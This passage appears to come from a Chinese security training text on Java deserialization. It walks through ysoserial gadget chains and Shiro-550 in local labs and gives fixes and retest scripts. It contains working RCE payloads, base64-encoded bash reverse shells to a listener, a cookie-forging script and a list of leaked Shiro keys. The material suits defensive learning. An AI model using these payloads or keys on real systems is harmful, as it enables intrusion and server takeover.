#   BeanShell1         @pwntester                 bsh:2.0b5
#   CommonsBeanutils1  @frohoff                   commons-beanutils:1.9.2, commons-collections:3.1
#   CommonsCollections1 @frohoff                  commons-collections:3.1
#   CommonsCollections5 @frohoff                  commons-collections:3.1
#   CommonsCollections6 @frohoff                  commons-collections:3.1
#   CommonsCollections7 @frohoff                  commons-collections:3.1
#   Groovy1            @frohoff                   groovy:2.3.9
#   JDK7u21            @frohoff
#   Spring1            @frohoff                   spring-core:4.1.4, spring-beans:4.1.4
#   URLDNS             @gebl                      --  ★ 这个不执行命令,只做 DNS 探测(无害验证用)

生成第一个 payload(URLDNS —— 安全无害的验证链)

# URLDNS 是最适合"验证漏洞存在但不想造成危害"的链
# 它只让服务器去解析一个 DNS 域名,不做任何坏事
# 去 dnslog.cn 或 ceye.io 申请一个临时域名,比如 abc123.dnslog.cn

java -jar ~/tools/ysoserial.jar URLDNS "http://abc123.dnslog.cn" > /tmp/urldns.ser

# 看看生成的字节(注意开头的 aced0005)
xxd /tmp/urldns.ser | head -2
# 预期:
# 00000000: aced 0005 7372 0011 6a61 7661 2e75 7469  ....sr..java.uti
#                                  ↑ "java.uti..." 就是 java.util.HashMap 的类名

# base64 后看看(记住 rO0AB 这个前缀)
base64 -w0 /tmp/urldns.ser | head -c 60
# 预期:rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3Rv...

生成真正能执行命令的 payload(CC6 链)

# CommonsCollections6 是目前兼容性最好的一条链(JDK 8u~11 都能用)
java -jar ~/tools/ysoserial.jar CommonsCollections6 "touch /tmp/pwned_by_cc6" > /tmp/cc6.ser

# 查看大小
ls -l /tmp/cc6.ser     # 通常 3~5 KB

# 看看里面有没有 commons-collections 的类名(证明它确实依赖这个库)
strings /tmp/cc6.ser | grep -i "commons\|InvokerTransformer\|ChainedTransformer" | head -5
# 预期输出:
# org.apache.commons.collections.functors.InvokerTransformer
# org.apache.commons.collections.functors.ChainedTransformer
# org.apache.commons.collections.keyvalue.TiedMapEntry
# org.apache.commons.collections.map.LazyMap

这一段很重要:strings 命令能看到 payload 里引用了哪些类。 这告诉你一个关键事实:payload 本身不包含恶意代码,只包含“我要用哪些类、按什么顺序调用”这个配方。 真正的恶意代码(那些类)已经在目标服务器的 classpath 里了(因为项目依赖了 commons-collections)。

这也是为什么“升级依赖”能修复反序列化漏洞——把 commons-collections 从 3.1 升到 3.2.2 之后, InvokerTransformer 不再允许被序列化,链条就断了。

关于 CC1 vs CC6 vs CC7 的区别(面试加分点):

链 适用 JDK 依赖 特点
CommonsCollections1 JDK ≤ 8u71 cc:3.1 最经典,但 JDK 8u72 后 AnnotationInvocationHandler 被修了,失效
CommonsCollections3 全版本 cc:3.1 + javassist 用 TemplatesImpl 加载字节码,不依赖 Runtime,绕过部分防护
CommonsCollections5 JDK 8 全版本 cc:3.1 改用 BadAttributeValueExpException 当入口
CommonsCollections6 JDK 8/11 全版本 cc:3.1 实战首选,用 HashSet 的 hashCode() 触发,兼容性最好
CommonsCollections7 JDK 8/11 cc:3.1 用 Hashtable 触发
CommonsBeanutils1 全版本 commons-beanutils 不依赖 commons-collections!shiro 场景常用(因为 shiro 自带 beanutils 但不一定带 collections)
URLDNS 全版本 无 不执行命令,只做 DNS 请求,用于安全探测

6.3 动手打靶场:从探测到 GetShell(自建 Spring Boot 靶场)

6.3.1 打自己的 Spring Boot 靶场

第一章我们建的靶场里,VulnController 有一个 /deser/load 接口。现在打它。

# 确认靶场在跑
curl -s "http://127.0.0.1:8888/actuator/health"

# 第一步:用 URLDNS 安全验证(不造成任何危害)
# 先去 dnslog.cn 拿一个域名,比如 xxxx.dnslog.cn
java -jar ~/tools/ysoserial.jar URLDNS "http://xxxx.dnslog.cn" > /tmp/urldns.ser

curl -s -X POST "http://127.0.0.1:8888/vuln/deser/load" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @/tmp/urldns.ser

# 预期响应:反序列化成功,返回一个对象信息
# 然后去 dnslog.cn 点 "Refresh Record"
# 预期看到:xxxx.dnslog.cn  有一条来自服务器 IP 的解析记录
# ★ 这条记录证明:服务器真的执行了 payload 里的 DNS 请求 → 漏洞存在

第二步:真正执行一条命令(用 CC6,因为靶场 pom 里故意引了 commons-collections:3.2.1)

⚠️ 安全提醒:只在自己的靶场里做,且靶场容器必须只监听 127.0.0.1。

# 生成"在容器里创建一个文件"的 payload(无害但可验证)
java -jar ~/tools/ysoserial.jar CommonsCollections6 \
  "touch /tmp/PWNED_BY_DESERIALIZATION" > /tmp/cc6.ser

# 发送
curl -s -X POST "http://127.0.0.1:8888/vuln/deser/load" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @/tmp/cc6.ser

# 预期响应(靶场代码会捕获异常并打印,你会看到堆栈里出现):
# java.lang.ClassCastException / 或者进程正常返回
# 注意:即使返回 500,命令也已经执行了!

# 验证命令是否执行成功
docker exec vuln-springboot ls -la /tmp/PWNED_BY_DESERIALIZATION
# 预期输出:
# -rw-r--r-- 1 root root 0 Sep  4 02:45 /tmp/PWNED_BY_DESERIALIZATION
# ★ 文件存在 = RCE 成功

⚠️ 为什么返回 500 也算成功? 这是新手最容易困惑的地方。 反序列化时,命令是在 readObject() 的过程中执行的—— 也就是说,链跑到 Runtime.exec() 那一步时,命令已经执行完了, 之后链继续执行,类型对不上抛了异常,但木已成舟。

所以实战中判断成不成功,不要看 HTTP 响应码,要看: ① DNS 有没有收到请求(URLDNS) ② 文件有没有被创建 ③ 有没有反弹 shell 连回来

第三步:反弹 Shell(完整的 GetShell)

# 攻击机开监听(终端 1)
nc -lvnp 4444

# 生成反弹 shell payload(终端 2)
# 注意:bash 的反弹 shell 需要 base64 编码,否则引号和重定向会被吃掉
# 原始命令:bash -i >& /dev/tcp/172.20.0.1/4444 0>&1
# 编码后:
echo -n 'bash -i >& /dev/tcp/172.20.0.1/4444 0>&1' | base64 -w0
# 输出:YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMC4xLzQ0NDQgMD4mMQ==

# 用 bash -c 解码执行(这是绕过特殊字符的标准做法)
java -jar ~/tools/ysoserial.jar CommonsCollections6 \
  'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}' \
  > /tmp/cc6_reverse.ser

# 发送
curl -s -X POST "http://127.0.0.1:8888/vuln/deser/load" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @/tmp/cc6_reverse.ser

# 回到终端 1,应该看到:
# connect to [172.20.0.1] from (UNKNOWN) [172.20.0.3] 52314
# bash: cannot set terminal process group (1): Inappropriate ioctl for device
# bash: no job control in this shell
# root@a1b2c3d4e5f6:/app# whoami
# root

名词:反弹 Shell(Reverse Shell) 正向 Shell 是你去连目标(目标开一个端口等你连)——但目标通常在内网/防火墙后,你连不进去。 反弹 Shell 是让目标主动连你——因为防火墙一般是“禁止外部主动连内部”,但不禁止内部主动连外部(否则员工上不了网)。

生活类比:正向 shell 像你打电话给客服(可能被拦截); 反弹 shell 像你留了个号码,让内部的人主动打给你(内部往外打通常不拦)。

bash -i >& /dev/tcp/IP/PORT 0>&1 逐段解释:

  • bash -i:启动一个交互式 bash
  • >& /dev/tcp/IP/PORT:把这个 bash 的标准输出和错误输出重定向到一个 TCP 连接(/dev/tcp 是 bash 的特殊文件,能建 TCP 连接)
  • 0>&1:把标准输入也重定向到同一个连接
  • 合起来:bash 的输入输出全部走这条 TCP 连接 → 你在另一端敲什么,就在目标机器上执行什么

6.3.2 修复:四道防线

❌ 漏洞代码

@PostMapping("/vuln/deser/load")
public String load(@RequestBody byte[] data) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
    Object obj = ois.readObject();       // ★ 什么都反序列化,必死
    return obj.toString();
}

✅ 修复方案 1:JEP 290 白名单(JDK 8u121+ / 9+,★ 推荐)

@PostMapping("/safe/deser/load")
public String loadSafe(@RequestBody byte[] data) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));

    // ★ 核心:设置一个"过滤器",只允许白名单里的类被反序列化
    ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
        // 格式:"包名.类名;包名.*;模块名/*"
        // 白名单模式:先写允许的类,最后用 !* 拒绝其他一切
        "com.example.dto.User;com.example.dto.Order;java.lang.String;java.util.HashMap;" +
        "!*"      // ★ 这一句最关键:拒绝所有前面没匹配到的类
    ));

    Object obj = ois.readObject();
    return obj.toString();
}

过滤器还能记录日志和限制深度(生产级写法):

public class SafeObjectInputFilter implements ObjectInputFilter {
    private static final Set<String> ALLOWED = Set.of(
        "com.example.dto.User",
        "com.example.dto.Order",
        "java.lang.String",
        "java.lang.Integer",
        "java.util.HashMap",
        "java.util.ArrayList"
    );

    @Override
    public Status checkInput(FilterInfo info) {
        // 【限制 1】数组长度上限,防利用超长数组做内存耗尽
        if (info.arrayLength() > 10_000) {
            log.warn("[安全] 反序列化数组过大,拒绝:{}", info.arrayLength());
            return Status.REJECTED;
        }

        // 【限制 2】对象图深度上限,防超深嵌套导致栈溢出
        if (info.depth() > 10) {
            log.warn("[安全] 反序列化嵌套过深,拒绝:depth={}", info.depth());
            return Status.REJECTED;
        }

        // 【限制 3】总引用数上限,防超大规模对象图
        if (info.references() > 100_000) {
            log.warn("[安全] 反序列化引用过多,拒绝:{}", info.references());
            return Status.REJECTED;
        }

        // 【限制 4】白名单
        String className = info.serialClass() != null ? info.serialClass().getName() : null;
        if (className == null) {
            return Status.UNDECIDED;         // 不是类,交给默认逻辑
        }
        if (ALLOWED.contains(className)) {
            return Status.ALLOWED;
        }

        // 【关键动作】记录被拒绝的类名 —— 这是"有人在打我"的最强信号
        log.error("[安全告警] 反序列化尝试加载非白名单类:{},来源栈:{}",
                  className, Arrays.toString(Thread.currentThread().getStackTrace()));
        return Status.REJECTED;
    }
}

// 注册
ois.setObjectInputFilter(new SafeObjectInputFilter());

为什么“记录被拒绝的类名”这么重要? 攻击者第一步通常是用 URLDNS 或各种链试探。 一旦你的日志里出现 InvokerTransformer、TemplatesImpl、AnnotationInvocationHandler 这类类名, 就说明有人正在对你做反序列化攻击——这是入侵检测的高价值信号,应该直接告警到安全群。

✅ 修复方案 2:彻底不用 Java 原生序列化(★ 最推荐)

// 用 JSON / Protobuf / Kryo(带注册白名单)替代
// 理由:这些格式只还原"数据",不会"还原对象并触发其行为"

// JSON 示例(Jackson)
User user = objectMapper.readValue(json, User.class);    // 只填字段,不执行任何代码

// Kryo(如果必须二进制,Kryo 比原生序列化快且可控)
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(true);        // ★ 强制注册,未注册的类直接报错
kryo.register(User.class);
kryo.register(Order.class);

✅ 修复方案 3:升级依赖(治本)

<!-- pom.xml:把有问题的依赖升到安全版本 -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <!-- ❌ <version>3.1</version>      有 InvokerTransformer,可被利用 -->
    <!-- ❌ <version>3.2.1</version>    同样有问题 -->
    <version>3.2.2</version>      <!-- ✅ 3.2.2 起默认禁用不安全的 Transformer -->
</dependency>

3.2.2 做了什么? 引入了一个开关 org.apache.commons.collections.enableUnsafeSerialization, 默认 false,此时 InvokerTransformer、CloneTransformer 等危险类不允许被序列化。 链条从根上断了。

✅ 修复方案 4:运行时全局防护(RASP / Java Agent)

# 用 JVM 参数全局设置反序列化过滤器(JDK 8u121+ 支持 jdk.serialFilter)
java -Djdk.serialFilter='com.example.dto.*;java.lang.*;!*' -jar app.jar

# 开源 RASP 方案(生产环境可选):
# - OpenRASP(百度开源):Java Agent 方式,运行时阻断攻击
# - JRASP

四道防线对比表:

方案 防护强度 改造成本 推荐度 说明
升级依赖到 3.2.2+ ★★★ 低(改一行版本号) ★★★★★ 治本,但要确认兼容性
换成 JSON/Kryo ★★★★★ 高(要改接口) ★★★★ 最彻底,新项目必选
JEP 290 白名单 ★★★★ 中(加几行代码) ★★★★★ 存量系统性价比最高
-Djdk.serialFilter ★★★ 极低(加个启动参数) ★★★★ 应急最快,线上临时止血首选
RASP ★★★★★ 中 ★★★ 兜底,能拦未知链

6.3.3 复测脚本

cat > /tmp/verify_deser.sh <<'SCRIPT'
#!/bin/bash
# 反序列化修复复测
TARGET="${1:-http://127.0.0.1:8888}"
EP="${2:-/safe/deser/load}"
YS=~/tools/ysoserial.jar

pass=0; fail=0
try() { # try "描述" "链名" "命令"
  java -jar $YS "$2" "$3" > /tmp/_payload.ser 2>/dev/null
  CODE=$(curl -s -o /tmp/_resp.txt -w '%{http_code}' -X POST "$TARGET$EP" \
         -H 'Content-Type: application/octet-stream' --data-binary @/tmp/_payload.ser)
  if grep -qiE "REJECTED|not in|拒绝|filter|whitelist|not allowed|InvalidClass" /tmp/_resp.txt; then
    echo "  ✅ 通过:$1(被过滤器拒绝)"; pass=$((pass+1))
  elif [ "$CODE" = "500" ] && ! grep -qiE "InvokerTransformer|ChainedTransformer" /tmp/_resp.txt; then
    echo "  ✅ 通过:$1(被拒绝,500 但无危险类栈)"; pass=$((pass+1))
  else
    echo "  ❌ 未通过:$1(HTTP $CODE,响应:$(head -c 150 /tmp/_resp.txt))"; fail=$((fail+1))
  fi
}

echo "=== 反序列化修复复测(共 5 项)==="

# 1~4:各条经典链都要能拦住
try "1. CommonsCollections1"  CommonsCollections1  "touch /tmp/x1"
try "2. CommonsCollections6"  CommonsCollections6  "touch /tmp/x2"
try "3. CommonsCollections7"  CommonsCollections7  "touch /tmp/x3"
try "4. CommonsBeanutils1"    CommonsBeanutils1    "touch /tmp/x4"

# 5:正常业务对象仍要能反序列化(不能修过头)
cat > /tmp/_gen_normal.py <<'PY'
# 生成一个正常的 User 对象序列化数据(用 Java 写更准,这里简化为检查接口可用性)
PY
R=$(curl -s -o /dev/null -w '%{http_code}' -X POST "$TARGET$EP" \
     -H 'Content-Type: application/octet-stream' --data-binary @/tmp/urldns.ser)
echo "  ℹ️  第 5 项:请手动验证正常业务对象的反序列化是否仍可用(URLDNS 返回 $R)"

echo ""
echo "结果:通过 $pass / 4,未通过 $fail"
echo "补充检查:"
echo "  docker exec vuln-springboot ls /tmp/x1 /tmp/x2 /tmp/x3 /tmp/x4 2>/dev/null && echo '  ❌ 有文件被创建=修复失败' || echo '  ✅ 无恶意文件产生'"
[ $fail -eq 0 ] && echo "🎉 反序列化防护验证通过" || echo "⚠️  还有 $fail 项没拦住"
SCRIPT
chmod +x /tmp/verify_deser.sh
/tmp/verify_deser.sh

6.4 Shiro-550 完整复现(CVE-2016-4437)

为什么这个漏洞必须亲手做一遍: ① 国内 Java 项目用 Shiro 的比例极高,面试官大概率用过; ② 它是**“硬编码密钥 + 反序列化”**的经典组合,讲清楚能体现你对“加密 ≠ 认证”的理解; ③ 复现过程极其简单(一个 curl 命令),但背后的原理有三层,非常适合当面试故事。

漏洞编号:CVE-2016-4437,CVSS 评分 9.8(最高危等级) 影响版本:Apache Shiro ≤ 1.2.4 一句话原理:Shiro 的“记住我”功能把用户身份序列化后加密塞进 Cookie, 而加密密钥是写在源码里的固定值。攻击者拿到这个公开密钥, 就能自己伪造一段恶意的序列化数据、用同样的密钥加密、放进 Cookie—— 服务器收到后解密、反序列化,直接 RCE。

6.4.1 三个名词先说清楚

名词 白话解释
Apache Shiro 一个 Java 安全框架,管“登录 / 权限 / 记住我 / 会话”。比 Spring Security 轻量,国内中小项目用得多
rememberMe “记住我”功能:勾上之后关掉浏览器再打开还是登录状态。实现方式是把用户身份信息存在 Cookie 里(而不是服务端 Session)
硬编码密钥 密钥直接写在源码里,所有用这个框架的项目密钥都一样。等于“全世界的门都用同一把钥匙,而且钥匙是公开发行的”

6.4.2 攻击链条图(先把全局看清楚)

┌──────────────────── 正常流程(设计者的意图)────────────────────┐
│                                                                  │
│  ① 用户登录,勾选"记住我"                                        │
│            │                                                     │
│            ▼                                                     │
│  ② Shiro 把用户对象(如 SimplePrincipalCollection)序列化          │
│            │  结果:aced0005 73 72 00 2e 6f72 67...              │
│            ▼                                                     │
│  ③ 用 AES 加密,密钥 = kPH+bIxk5D2deZiIxcaaaA==(★ 硬编码)       │
│            │                                                     │
│            ▼                                                     │
│  ④ base64 编码,塞进 Cookie: rememberMe=xxx                       │
│            │                                                     │
│            ▼                                                     │
│  ⑤ 用户下次访问,带上这个 Cookie                                  │
│            │                                                     │
│            ▼                                                     │
│  ⑥ Shiro 解密 → 反序列化 → 得到用户身份 → 免登录                  │
│                                                                  │
└──────────────────────────────────────────────────────────────────┘

┌──────────────────── 攻击流程(攻击者做了什么)──────────────────┐
│                                                                  │
│  ① 攻击者用 ysoserial 生成恶意序列化数据(CC 链,执行任意命令)    │
│            │                                                     │
│            ▼                                                     │
│  ② 用【公开的同一个密钥】AES 加密它                                │
│            │  ★ 关键:因为密钥是硬编码的,攻击者知道              │
│            ▼                                                     │
│  ③ base64 编码                                                    │
│            │                                                     │
│            ▼                                                     │
│  ④ 当成 rememberMe Cookie 发过去(不需要登录!)                   │
│            │                                                     │
│            ▼                                                     │
│  ⑤ Shiro 照常"解密 → 反序列化"                                    │
│            │                                                     │
│            ▼                                                     │
│  ⑥ 反序列化的是恶意数据 → 触发 Gadget Chain → 💥 RCE              │
│                                                                  │
└──────────────────────────────────────────────────────────────────┘

漏洞的本质(面试要能一句话说清): AES 加密只保证了“数据没被篡改”,但没保证“数据的来源可信” —— 因为密钥是公开的,攻击者也能加密。 这就像:保险箱确实很结实,但钥匙就挂在保险箱旁边的墙上。

更深一层:Shiro 的设计错误在于把“加密”当成了“认证”。 加密(Encryption)解决的是“机密性“——别人看不到内容; 但它不解决”完整性“和”来源可信“——攻击者如果也有密钥,就能造出合法的密文。 正确的做法是:① 每台机器随机生成密钥(而不是硬编码);② 用带认证的加密模式(AES-GCM)。

6.4.3 动手:用 Vulhub 起 Shiro 靶场

cd ~/vulhub/shiro/CVE-2016-4437
docker compose up -d

# 确认
docker compose ps
# 预期:
# NAME                    SERVICE   STATUS   PORTS
# shiro-cve-2016-4437-1   web       Up       127.0.0.1:8080->8080/tcp

# 探活
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8080/login
# 预期:200

# ★ 关键指纹:看响应头里有没有 rememberMe
curl -s -I -X POST http://127.0.0.1:8080/login -d "username=admin&password=admin" | grep -i "rememberMe\|Set-Cookie"
# 或者随便发个请求看返回包
curl -s -D - -o /dev/null http://127.0.0.1:8080/login | grep -i cookie
# 预期可能看到:Set-Cookie: rememberMe=deleteMe; ...
# ★ "rememberMe=deleteMe" 就是 Shiro 的标志(未登录或登录失败时它会让你删除 Cookie)

名词:deleteMe —— Shiro 在识别出 rememberMe 无效时,会返回一个 rememberMe=deleteMe 让浏览器删掉它。 这是红队识别 Shiro 的最快指纹: 随便发个请求,如果响应里有 rememberMe=deleteMe,就说明这个站用了 Shiro,值得进一步测。

6.4.4 手工复现:一步步来(理解原理,不要上来就用工具)

第 1 步:生成恶意序列化数据

java -jar ~/tools/ysoserial.jar CommonsCollections6 \
  "touch /tmp/SHIRO_PWNED" > /tmp/payload_raw.ser
# 注意:Shiro 1.2.4 靶场自带 commons-collections,CC 链可用
# 如果 CC 链失败,改用 CommonsBeanutils1(shiro 必带 beanutils)
java -jar ~/tools/ysoserial.jar CommonsBeanutils1 \
  "touch /tmp/SHIRO_PWNED" > /tmp/payload_cb.ser

第 2 步:用 Shiro 的默认密钥 AES 加密

Shiro 默认密钥(base64):kPH+bIxk5D2deZiIxcaaaA==

这个密钥是从 Shiro 源码里 AbstractRememberMeManager.java 抄出来的:

private static final byte[] DEFAULT_CIPHER_KEY_BYTES =
    Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

因为写死在开源代码里,所以全世界都知道。

写一个 Python 脚本完成“加密 + base64”:

#!/usr/bin/env python3
# shiro_encrypt.py —— 用 Shiro 默认密钥加密 payload
from Crypto.Cipher import AES
import base64, sys, os

# Shiro 1.2.4 的默认密钥(硬编码在源码里,全世界公开)
KEY = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

def encrypt(payload: bytes) -> str:
    # Shiro 用的是 AES-CBC 模式,IV(初始化向量)是随机生成的 16 字节
    iv = os.urandom(16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    # PKCS7 填充:AES 要求数据长度是 16 的倍数
    pad_len = 16 - (len(payload) % 16)
    padded = payload + bytes([pad_len]) * pad_len
    # ★ Shiro 的格式:前 16 字节是 IV,后面是密文
    return base64.b64encode(iv + cipher.encrypt(padded)).decode()

if __name__ == "__main__":
    with open(sys.argv[1], "rb") as f:
        print(encrypt(f.read()))
# 安装依赖
pip install pycryptodome

# 生成 Cookie 值
python3 shiro_encrypt.py /tmp/payload_raw.ser > /tmp/rememberme_cookie.txt
wc -c /tmp/rememberme_cookie.txt     # 通常 4~8 KB

# 看看长啥样
head -c 80 /tmp/rememberme_cookie.txt
# 预期(base64 乱码):HnQp1xT3vK...

第 3 步:发送攻击请求

curl -s -o /dev/null -w 'HTTP %{http_code}\n' \
  "http://127.0.0.1:8080/login" \
  -H "Cookie: rememberMe=$(cat /tmp/rememberme_cookie.txt)"

第 4 步:验证 RCE 是否成功

# 进容器看文件有没有被创建
docker exec shiro-cve-2016-4437-web-1 ls -la /tmp/SHIRO_PWNED
# 预期:
# -rw-r--r-- 1 root root 0 Sep  4 03:10 /tmp/SHIRO_PWNED
# ★ 文件存在 = RCE 成功(你甚至没有登录!)

停下来想一想这一刻意味着什么: 你没有用户名、没有密码、没有登录,只发了一个 HTTP 请求带了个 Cookie, 就在这台服务器上执行了任意命令。 这就是 CVSS 9.8 的含义——无需认证、无需交互、完全控制。

第 5 步:拿反弹 Shell(完整的 GetShell)

# 攻击机监听(终端 1)
nc -lvnp 5555

# 生成 payload(终端 2)
# 容器网段是 172.20.0.0/16,攻击机(宿主机)在 docker0 上通常是 172.17.0.1
# 用 host.docker.internal 更省事(Docker Desktop 支持)
echo -n 'bash -i >& /dev/tcp/host.docker.internal/5555 0>&1' | base64 -w0
# 输出:YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC81NTU1IDA+JjE=

java -jar ~/tools/ysoserial.jar CommonsBeanutils1 \
  'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}' \
  > /tmp/shiro_rev.ser

python3 shiro_encrypt.py /tmp/shiro_rev.ser > /tmp/shiro_rev_cookie.txt

curl -s -o /dev/null "http://127.0.0.1:8080/login" \
  -H "Cookie: rememberMe=$(cat /tmp/shiro_rev_cookie.txt)"

# 终端 1 应该出现 shell

6.4.5 用自动化工具复现(了解即可,手工原理更重要)

# ShiroExploit 一站式工具(自动生成 payload + 爆破密钥 + 执行命令)
docker run --rm -it --network host \
  -v /tmp:/data feihong/shiro-exploit:latest

# 或者用 shiro_attack(GUI 工具,支持自动探测密钥)
# 实战中最有价值的功能是"密钥爆破"——把历史上泄露过的所有 Shiro 密钥都试一遍

已知的常见硬编码密钥(面试能说出一两个就很专业):

kPH+bIxk5D2deZiIxcaaaA==     ← Shiro 1.2.4 默认(最常见)
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
4AvVhmFLUs0KTA3Kprsdag==
5aaC5qKm5oqA5pyvAAAAAA==     ← 中文"我爱java技术"的 base64
6ZmI6I2j5Y+R5aSn5ZOlAA==
bWljcm9zAAAAAAAAAAAAAA==     ← "micros" 的 base64
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA==     ← "SpringBlade" 的 base64

这里有个很有意思的细节:你能看到 5aaC5qKm5oqA5pyvAAAAAA== 是“我爱java技术”的 base64、 bWljcm9zAAAAAAAAAAAAAA== 是“micros”、“U3ByaW5nQmxhZGUAAAAAAA==` 是”SpringBlade“。 这些都是开发人员“自己改了密钥”的结果——他们知道默认密钥不安全, 但改成了另一个硬编码的字符串,而且还是有意义的单词, 于是安全强度几乎没变(攻击者把这些常见密码做成了字典)。

面试讲这一段特别加分:说明你理解“修安全漏洞不能只改表面“。 正确的做法是每次部署随机生成密钥并存在配置中心/环境变量里。

6.4.6 修复:三件事必须都做

// ❌ 错误做法 1:完全不配密钥(用默认的)
@Bean
public RememberMeManager rememberMeManager() {
    return new CookieRememberMeManager();     // ← 内部用硬编码默认密钥,等于裸奔
}

// ❌ 错误做法 2:自己想一个"看起来随机"的字符串硬编码
@Bean
public RememberMeManager rememberMeManager() {
    CookieRememberMeManager m = new CookieRememberMeManager();
    m.setCipherKey(Base64.decode("5aaC5qKm5oqA5pyvAAAAAA=="));  // ← 还是硬编码,已进字典
    return m;
}

// ✅ 正确做法:从配置注入,且每次部署都不同
@Configuration
public class ShiroConfig {
    @Value("${app.shiro.cipher-key}")     // 从环境变量/配置中心注入
    private String cipherKeyBase64;

    @Bean
    public RememberMeManager rememberMeManager() {
        CookieRememberMeManager manager = new CookieRememberMeManager();

        // 【修复 1】★ 用随机生成的、部署时注入的密钥(绝不能硬编码)
        manager.setCipherKey(Base64.decode(cipherKeyBase64));

        // 【修复 2】设置 Cookie 安全属性
        SimpleCookie cookie = new SimpleCookie("rememberMe");
        cookie.setHttpOnly(true);        // 防 XSS 偷
        cookie.setSecure(true);          // 只走 HTTPS
        cookie.setMaxAge(7 * 24 * 3600); // 7 天过期,别设永久
        manager.setCookie(cookie);

        return manager;
    }
}

生成随机密钥(每次部署执行一次):

# Linux
openssl rand -base64 16
# 输出示例:Xk9mP2vQ7nR4tY8wZ1aB6cE==

# 或者用 Java
# java -e 'System.out.println(Base64.getEncoder().encodeToString(
#   java.security.SecureRandom.getInstanceStrong().generateSeed(16)))'

application.yml(密钥来自环境变量,不入库):

app:
  shiro:
    # ★ 密钥从环境变量读,绝不写进代码仓库
    cipher-key: ${SHIRO_CIPHER_KEY}
# 启动时注入(K8s 里用 Secret,见第八章)
export SHIRO_CIPHER_KEY="$(openssl rand -base64 16)"
java -jar app.jar

【修复 3】升级 Shiro 到 1.2.5+ 并升级 commons-collections/beanutils

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.13.0</version>    <!-- ✅ 1.2.5+ 已移除硬编码默认密钥(会强制要求配置) -->
</dependency>
<!-- 同时升级反序列化利用链依赖的库 -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.2</version>     <!-- ✅ 3.2.2 起禁用危险 Transformer -->
</dependency>

额外加固:给 rememberMe 数据加“完整性校验”

// 进阶:不用 Shiro 的 rememberMe,自己实现一个"不可伪造"的版本
// 思路:Cookie 里只存一个【随机 token】,用户身份存在 Redis 里
public String createRememberMeToken(Long userId) {
    String token = UUID.randomUUID().toString();       // 随机、不可预测
    redisTemplate.opsForValue().set(
        "remember:" + token,
        userId.toString(),
        7, TimeUnit.DAYS
    );
    return token;    // ★ Cookie 里只有一串无意义的随机数,无法被反序列化
}
// 这样根本不存在"反序列化"这一步,从根上免疫

这个方案的本质:把“客户端持有状态“改成”客户端只持有凭证、状态在服务端“。 这是解决所有”客户端数据被篡改“问题的通用思路—— JWT 的很多问题也是这么解决的(服务端维护 token 黑名单/版本号)。

6.4.7 复测脚本

cat > /tmp/verify_shiro.sh <<'SCRIPT'
#!/bin/bash
# Shiro-550 修复复测
TARGET="${1:-http://127.0.0.1:8080}"

echo "=== Shiro-550 修复复测(共 4 项)==="

# 1. 用【默认密钥】加密的 payload 应该失效
java -jar ~/tools/ysoserial.jar CommonsBeanutils1 "touch /tmp/verify_shiro_1" > /tmp/_p.ser 2>/dev/null
python3 shiro_encrypt.py /tmp/_p.ser > /tmp/_c.txt
CODE=$(curl -s -o /tmp/_r.txt -w '%{http_code}' -H "Cookie: rememberMe=$(cat /tmp/_c.txt)" "$TARGET/login")
echo "  [1] 默认密钥 payload → HTTP $CODE"
if [ -f /tmp/verify_shiro_1 ]; then echo "      ❌ 文件被创建,仍可利用"; else echo "      ✅ 未创建文件"; fi

# 2. 用【字典里的其他密钥】逐个试(模拟攻击者爆破)
echo "  [2] 常见密钥字典爆破测试"
for k in "kPH+bIxk5D2deZiIxcaaaA==" "2AvVhdsgUs0FSA3SDFAdag==" "3AvVhmFLUs0KTA3Kprsdag==" \
         "4AvVhmFLUs0KTA3Kprsdag==" "5aaC5qKm5oqA5pyvAAAAAA==" "bWljcm9zAAAAAAAAAAAAAA==" \
         "wGiHplamyXlVB11UXWol8g==" "Z3VucwAAAAAAAAAAAAAAAA=="; do
  sed "s|kPH+bIxk5D2deZiIxcaaaA==|$k|" shiro_encrypt.py > /tmp/_enc_tmp.py
  python3 /tmp/_enc_tmp.py /tmp/_p.ser > /tmp/_c2.txt 2>/dev/null
  curl -s -o /dev/null -H "Cookie: rememberMe=$(cat /tmp/_c2.txt)" "$TARGET/login"
done
if docker exec $(docker ps --filter "name=shiro" --format "{{.Names}}" | head -1) \
   ls /tmp/verify_shiro_1 >/dev/null 2>&1; then
  echo "      ❌ 字典中某密钥仍可用"
else
  echo "      ✅ 8 个常见密钥全部失效"
fi

# 3. 响应头不应再泄露 rememberMe=deleteMe(指纹隐藏)
if curl -s -D - -o /dev/null "$TARGET/login" | grep -qi "rememberMe=deleteMe"; then
  echo "  [3] ❌ 仍暴露 rememberMe=deleteMe 指纹(建议改 Cookie 名)"
else
  echo "  [3] ✅ 未暴露 Shiro 指纹"
fi

# 4. 版本检查
echo "  [4] 依赖版本自查(在本地项目执行):"
